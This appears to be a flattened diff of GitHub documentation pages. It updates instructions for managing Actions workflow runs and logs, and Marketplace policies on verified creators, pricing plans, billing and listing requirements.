menu, and select **Re-run all jobs**.{% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% else %}{% endif %} 4 content/actions/managing-workflow-runs/removing-workflow-artifacts.md @@ -27,7 +27,11 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click {% octicon "trashcan" aria-label="The trashcan icon" %} next to the artifact you want to remove. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Setting the retention period for an artifact 23 content/actions/managing-workflow-runs/using-the-visualization-graph.md @@ -0,0 +1,23 @@ --- title: Using the visualization graph intro: Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. product: '{% data reusables.gated-features.actions %}' versions: free-pro-team: '*' enterprise-server: '>=3.1' --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.visualization-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. The graph displays each job in the workflow. An icon to the left of the job name indicates the status of the job. Lines between jobs indicate dependencies.  2. Click on a job to view the job log.  18 content/actions/managing-workflow-runs/using-workflow-run-logs.md @@ -45,7 +45,11 @@ You can search the build logs for a particular step. When you search logs, only {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper-right corner of the log output, in the **Search logs** search box, type a search query. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. To expand each step you want to include in your search, click the step.  @@ -63,8 +67,12 @@ You can download the log files from your workflow run. You can also download a w {% data reusables.repositories.view-run-superlinter %} {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**. 1. In the upper right corner, click {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% octicon "gear" aria-label="The gear icon" %}{% else %}{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}{% endif %} and select **Download log archive**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**.  @@ -80,9 +88,17 @@ You can delete the log files from your workflow run. {% data reusables.repositor {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 2. To delete the log files, click the **Delete all logs** button and review the confirmation prompt. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} After deleting logs, the **Delete all logs** button is removed to indicate that no log files remain in the workflow run. {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. 2 content/actions/managing-workflow-runs/viewing-job-execution-time.md @@ -15,7 +15,7 @@ Billable job execution minutes are only shown for jobs run on private repositori {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under the job summary, you can view the job's execution time. To view the billable job execution time, click **Run and billable time details**. 1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**.  {% note %} 5 content/actions/quickstart.md @@ -60,8 +60,13 @@ Committing the workflow file in your repository triggers the `push` event and ru {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow-superlinter %} {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the **Lint code base** job.  {% else %} 1. In the left sidebar, click the **Lint code base** job.  {% endif %} {% data reusables.repositories.view-failed-job-results-superlinter %} ### More starter workflows 49 content/developers/github-marketplace/about-github-marketplace.md @@ -1,6 +1,6 @@ --- title: About GitHub Marketplace intro: 'Learn the basics to prepare your app for review before joining {% data variables.product.prodname_marketplace %}.' intro: 'Learn about {% data variables.product.prodname_marketplace %} where you can share your apps and actions publicly with all {% data variables.product.product_name %} users.' redirect_from: - /apps/marketplace/getting-started/ - /marketplace/getting-started @@ -14,52 +14,41 @@ versions: {% data reusables.actions.actions-not-verified %} To learn about publishing {% data variables.product.prodname_actions %} in the {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." To learn about publishing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." ### Apps You can list verified and unverified apps in {% data variables.product.prodname_marketplace %}. Unverified apps do not go through the security, testing, and verification cycle {% data variables.product.prodname_dotcom %} requires for verified apps. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only listings that are verified by {% data variables.product.company_short %} can include paid plans. For more information, see "[About verified creators](/developers/github-marketplace/about-verified-creators)." Verified apps have a green badge in {% data variables.product.prodname_marketplace %}. Unverified apps have a grey badge next to their listing and are only available as free apps. If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_app %}s, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" or "[Building {% data variables.product.prodname_oauth_app %}s](/developers/apps/building-oauth-apps)."  If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s, see "[Building apps](/apps/)." {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. See "[Differences between GitHub and OAuth apps](/apps/differences-between-apps/)" for more details. To learn more about switching from OAuth to {% data variables.product.prodname_github_apps %}, see [Migrating OAuth Apps to {% data variables.product.prodname_github_app %}s](/apps/migrating-oauth-apps-to-github-apps/). {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. For more information, see "[Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s](/apps/differences-between-apps/)" and "[Migrating {% data variables.product.prodname_oauth_app %}s to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)." If you have questions about {% data variables.product.prodname_marketplace %}, please contact {% data variables.contact.contact_support %} directly. #### Unverified Apps Unverified apps do not need to meet the "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)" or go through the "[Security review process](/marketplace/getting-started/security-review-process/)". {% data reusables.marketplace.unverified-apps %} Having a published paid plan will prevent you from being able to submit an unverified app. You must remove paid plans or keep them in draft mode before publishing an unverified app. To list your unverified app in {% data variables.product.prodname_marketplace %}, you only need to create a "[Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/)" and submit it as an unverified listing. {% data reusables.marketplace.launch-with-free %} ### Publishing an app to {% data variables.product.prodname_marketplace %} #### Verified Apps When you have finished creating your app, you can share it with other users by publishing it to {% data variables.product.prodname_marketplace %}. In summary, the process is: If you've already built an app and you're interested in submitting a verified listing in {% data variables.product.prodname_marketplace %}, start here: 1. Review your app carefully to ensure that it will behave as expected in other repositories and that it follows best practice guidelines. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)." 1. [Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)<br/>Learn about requirements, guidelines, and the app submission process. 1. Add webhook events to the app to track user billing requests. For more information about the {% data variables.product.prodname_marketplace %} API, webhook events, and billing requests, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." 1. [Integrating with the {% data variables.product.prodname_marketplace %} API](/marketplace/integrating-with-the-github-marketplace-api/)<br/>Before you can list your app on {% data variables.product.prodname_marketplace %}, you'll need to integrate billing flows using the {% data variables.product.prodname_marketplace %} API and webhook events. 1. Create a draft {% data variables.product.prodname_marketplace %} listing. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)." 1. [Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/) <br/>Create a draft {% data variables.product.prodname_marketplace %} listing, configure webhook settings, and set up pricing plans. 1. Add a pricing plan. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)." 1. [Selling your app](/marketplace/selling-your-app/)<br/>Learn about pricing plans, billing cycles, and how to receive payment from {% data variables.product.prodname_dotcom %} for your app. 1. Check whether your app meets the requirements for listing on {% data variables.product.prodname_marketplace %} as a free or a paid app. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." 1. [{% data variables.product.prodname_marketplace %} Insights](/marketplace/github-marketplace-insights/)<br/>See how your app is performing in {% data variables.product.prodname_marketplace %}. You can use metrics collected by {% data variables.product.prodname_dotcom %} to guide your marketing campaign and be successful in {% data variables.product.prodname_marketplace %}. 1. Read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." 1. [{% data variables.product.prodname_marketplace %} transactions](/marketplace/github-marketplace-transactions/)<br/>Download and view transaction data for your {% data variables.product.prodname_marketplace %} listing. 1. Submit your listing for publication in {% data variables.product.prodname_marketplace %}, requesting verification if you want to sell the app. For more information, see "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication)." ### Reviewing your app An onboarding expert will contact you with any questions or further steps. For example, if you have added a paid plan, you will need to complete the verification process and complete financial onboarding. As soon as your listing is approved the app is published to {% data variables.product.prodname_marketplace %}. We want to make sure that the apps offered on {% data variables.product.prodname_marketplace %} are safe, secure, and well tested. The {% data variables.product.prodname_marketplace %} onboarding specialists will review your app to ensure that it meets all requirements. Follow the guidelines in these articles before submitting your app: ### Seeing how your app is performing You can access metrics and transactions for your listing. For more information, see: * [Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/) * [Security review process](/marketplace/getting-started/security-review-process/) - "[Viewing metrics for your listing](/developers/github-marketplace/viewing-metrics-for-your-listing)" - "[Viewing transactions for your listing](/developers/github-marketplace/viewing-transactions-for-your-listing)" 43 content/developers/github-marketplace/about-verified-creators.md @@ -0,0 +1,43 @@ --- title: About verified creators intro: 'Each organization that wants to sell apps on {% data variables.product.prodname_marketplace %} must follow a verification process. Their identity is checked and their billing process reviewed.' versions: free-pro-team: '*' --- ### About verified creators A verified creator is an organization that {% data variables.product.company_short %} has checked. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only organizations that are verified by {% data variables.product.company_short %} can sell apps. For more information about organizations, see "[About organizations](/github/setting-up-and-managing-organizations-and-teams/about-organizations)." The verification process aims to protect users. For example, it verifies the seller's identity, checks that their {% data variables.product.product_name %} organization is set up securely, and that they can be contacted for support. After passing the verification checks, any apps that the organization lists on {% data variables.product.prodname_marketplace %} are shown with a verified creator badge {% octicon "verified" aria-label="Verified creator badge" %}. The organization can now add paid plans to any of their apps. Each app with a paid plan also goes through a financial onboarding process to check that it's set up to handle billing correctly.  In addition to the verified creator badge, you'll also see badges for unverified and verified apps. These apps were published using the old method for verifying individual apps.  For information on finding apps to use, see "[Searching {% data variables.product.prodname_marketplace %}](/github/searching-for-information-on-github/searching-github-marketplace)." ### About the verification process The first time you request verification for a listing of one of your apps, you will enter the verification process. An onboarding expert will guide you through the process. This includes checking: - Profile information - The basic profile information is populated accurately and appropriately. - Security - The organization has enabled two-factor authentication. - Verified domain - The organization has verified the domain of the site URL. - Purchase webhook event - The event is handled correctly by the app. When your organization is verified, all your apps are shown with a verified creator badge. You are now able to offer paid plans for any of your apps. For more information about the requirements for listing an app on {% data variables.product.prodname_marketplace %}, see "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% note %} **Note:** This verification process for apps replaces the previous process where individual apps were verified. The current process is similar to the verification process for actions. If you have apps that were verified under the old process, these will not be affected by the changes. The {% data variables.product.prodname_marketplace %} team will contact you with details of how to migrate to organization-based verification. {% endnote %} 12 content/developers/github-marketplace/billing-customers.md @@ -13,17 +13,17 @@ versions: ### Understanding the billing cycle Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)." Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[Webhook events for the {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)." ### Providing billing services in your app's UI Customers must be able to perform the following actions from your app's website: - Customers must be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. Customers should be able to perform the following actions from your app's website: - Customers should be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. {% data reusables.marketplace.marketplace-billing-ui-requirements %} ### Billing services for upgrades, downgrades, and cancellations Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)." Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." You can use the `marketplace_purchase` webhook's `effective_date` key to determine when a plan change will occur and periodically synchronize the [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan). @@ -33,7 +33,7 @@ When a customer upgrades their pricing plan or changes their billing cycle from {% data reusables.marketplace.marketplace-failed-purchase-event %} For information about building upgrade and downgrade workflows into your app, see "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)." For information about building upgrade and downgrade workflows into your app, see "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)." #### Downgrades and cancellations @@ -45,4 +45,4 @@ When a customer cancels a plan, you must: {% data reusables.marketplace.cancellation-clarification %} - Enable them to upgrade the plan through GitHub if they would like to continue the plan at a later time. For information about building cancellation workflows into your app, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." For information about building cancellation workflows into your app, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." 20 ...nt/developers/github-marketplace/customer-experience-best-practices-for-apps.md @@ -0,0 +1,20 @@ --- title: Customer experience best practices for apps intro: 'Guidelines for creating an app that will be easy to use and understand.' shortTitle: Customer experience best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a good customer experience. ### Customer communication - Marketing materials for the app should accurately represent the app's behavior. - Apps should include links to user-facing documentation that describe how to set up and use the app. - Customers should be able to see what type of plan they have in the billing, profile, or account settings section of the app. - Customers should be able to install and use your app on both a personal account and an organization account. They should be able to view and manage the app on those accounts separately. ### Plan management {% data reusables.marketplace.marketplace-billing-ui-requirements %} 4 content/developers/github-marketplace/drafting-a-listing-for-your-app.md @@ -59,8 +59,8 @@ Once you've created a {% data variables.product.prodname_marketplace %} draft li ### Submitting your app Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, the {% data variables.product.prodname_marketplace %} onboarding team will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, an onboarding expert will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." ### Removing a {% data variables.product.prodname_marketplace %} listing If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact [marketplace@github.com](mailto:marketplace@github.com) to remove your listing. If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact {% data variables.contact.contact_support %} to remove your listing. 2 content/developers/github-marketplace/handling-new-purchases-and-free-trials.md @@ -28,7 +28,7 @@ GitHub then sends the [`marketplace_purchase`](/webhooks/event-payloads/#marketp Read the `effective_date` and `marketplace_purchase` object from the `marketplace_purchase` webhook to determine which plan the customer purchased, when the billing cycle starts, and when the next billing cycle begins. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." See "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)" to find out how to transition a free trial to a paid plan when a free trial expires. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." See "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)" to find out how to transition a free trial to a paid plan when a free trial expires. See "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" for an example of the `marketplace_purchase` event payload. 6 content/developers/github-marketplace/index.md @@ -11,8 +11,10 @@ versions: {% topic_link_in_list /creating-apps-for-github-marketplace %} {% link_in_list /about-github-marketplace %} {% link_in_list /about-verified-creators %} {% link_in_list /requirements-for-listing-an-app %} {% link_in_list /security-review-process-for-submitted-apps %} {% link_in_list /security-best-practices-for-apps %} {% link_in_list /customer-experience-best-practices-for-apps %} {% link_in_list /viewing-metrics-for-your-listing %} {% link_in_list /viewing-transactions-for-your-listing %} {% topic_link_in_list /using-the-github-marketplace-api-in-your-app %} @@ -27,7 +29,7 @@ versions: {% link_in_list /writing-a-listing-description-for-your-app %} {% link_in_list /setting-pricing-plans-for-your-listing %} {% link_in_list /configuring-a-webhook-to-notify-you-of-plan-changes %} {% link_in_list /submitting-your-listing-for-review %} {% link_in_list /submitting-your-listing-for-publication %} {% topic_link_in_list /selling-your-app-on-github-marketplace %} {% link_in_list /pricing-plans-for-github-marketplace-apps %} {% link_in_list /billing-customers %} 32 content/developers/github-marketplace/pricing-plans-for-github-marketplace-apps.md @@ -10,35 +10,45 @@ versions: {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit, and GitHub lists the price in US dollars. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave GitHub.com. You don't have to write code to perform billing transactions, but you will have to handle [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) for purchase events. {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to verified listings. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed. For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% note %} {% data reusables.marketplace.free-plan-note %} **Note:** If you're listing an app on {% data variables.product.prodname_marketplace %}, you can't list your app with a free pricing plan if you offer a paid service outside of {% data variables.product.prodname_marketplace %}. ### Types of pricing plans {% endnote %} #### Free pricing plans ### Types of pricing plans {% data reusables.marketplace.free-apps-encouraged %} Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding. #### Paid pricing plans **Free pricing plans** are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. Unverified free apps do not need to implement any billing flows. Free apps that are verified by Github need to implement billing flows for new purchases and cancellations, but do not need to implement billing flows for free trials, upgrades, and downgrades. If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to resubmit the app for review. There are two types of paid pricing plan: **Flat rate pricing plans** charge a set fee on a monthly and yearly basis. - Flat rate pricing plans charge a set fee on a monthly and yearly basis. **Per-unit pricing plans** charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). - Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). **Marketplace free trials** provide 14-day free trials of OAuth or GitHub Apps to customers. When you [set up a Marketplace pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/), you can select the option to provide a free trial for flat-rate or per-unit pricing plans. You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans. ### Free trials Customers can start a free trial for any available paid plan on a Marketplace listing, but will not be able to create more than one free trial for a Marketplace product. Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product. Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel. See "[New purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for details on how to handle free trials in your app. For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)." {% note %} 61 content/developers/github-marketplace/requirements-for-listing-an-app.md @@ -1,6 +1,6 @@ --- title: Requirements for listing an app intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before our {% data variables.product.prodname_marketplace %} onboarding specialists will approve the listing.' intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.' redirect_from: - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ @@ -12,49 +12,62 @@ versions: free-pro-team: '*' --- <!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.--> The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app. Before you submit your app for review, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." You'll accept the terms within your [draft listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) on {% data variables.product.product_name %}. Once you've submitted your app, one of the {% data variables.product.prodname_marketplace %} onboarding specialists will reach out to you with more information about the onboarding process, and review your app to ensure it meets these requirements: ### Requirements for all {% data variables.product.prodname_marketplace %} listings ### User experience All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. #### User experience requirements for all apps All listings should meet the following requirements, regardless of whether they are for a free or paid app. - Listings must not actively persuade users away from {% data variables.product.product_name %}. - Listings must include valid contact information for the publisher. - Listings must have a relevant description of the application. - Listings must specify a pricing plan. - Apps must provide value to customers and integrate with the platform in some way beyond authentication. - Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only. - Apps cannot actively persuade users away from {% data variables.product.product_name %}. - Marketing materials for the app must accurately represent the app's behavior. - Apps must include links to user-facing documentation that describe how to set up and use the app. - When a customer purchases an app and GitHub redirects them to the app's installation URL, the app must begin the OAuth flow immediately. For details, see "[Handling new purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/#step-3-authorization)." - Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." - Customers must be able to install your app and select repositories on both a personal and organization account. They should be able to view and manage those accounts separately. For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)." ### Brand and listing #### Brand and listing requirements for all apps - Apps that use GitHub logos must follow the "[{% data variables.product.product_name %} Logos and Usage](https://github.com/logos)" guidelines. - Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)." - Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." - Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." ### Security To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)." ### Considerations for free apps Apps will go through a security review before being listed on {% data variables.product.prodname_marketplace %}. A successful review will meet the requirements and follow the security best practices listed in "[Security review process](/marketplace/getting-started/security-review-process/)." For information on the review process, contact [marketplace@github.com](mailto:marketplace@github.com). {% data reusables.marketplace.free-apps-encouraged %} ### Requirements for paid apps In addition to the requirements for all apps above, each app that you offer as a paid service on {% data variables.product.prodname_marketplace %} must also meet the following requirements: - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. - All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below. - Publishing organizations must have a verified domain and must enable two-factor authentication. For more information, see "[Requiring two-factor authentication in your organization](/github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization.") ### Billing flows When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the listing. Your app must integrate [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) using the [{% data variables.product.prodname_marketplace %} webhook event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/). {% note %} #### Free apps The verification process is open to organizations. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% data reusables.marketplace.free-apps-encouraged %} If you are listing a free app, you'll need to meet these requirements: 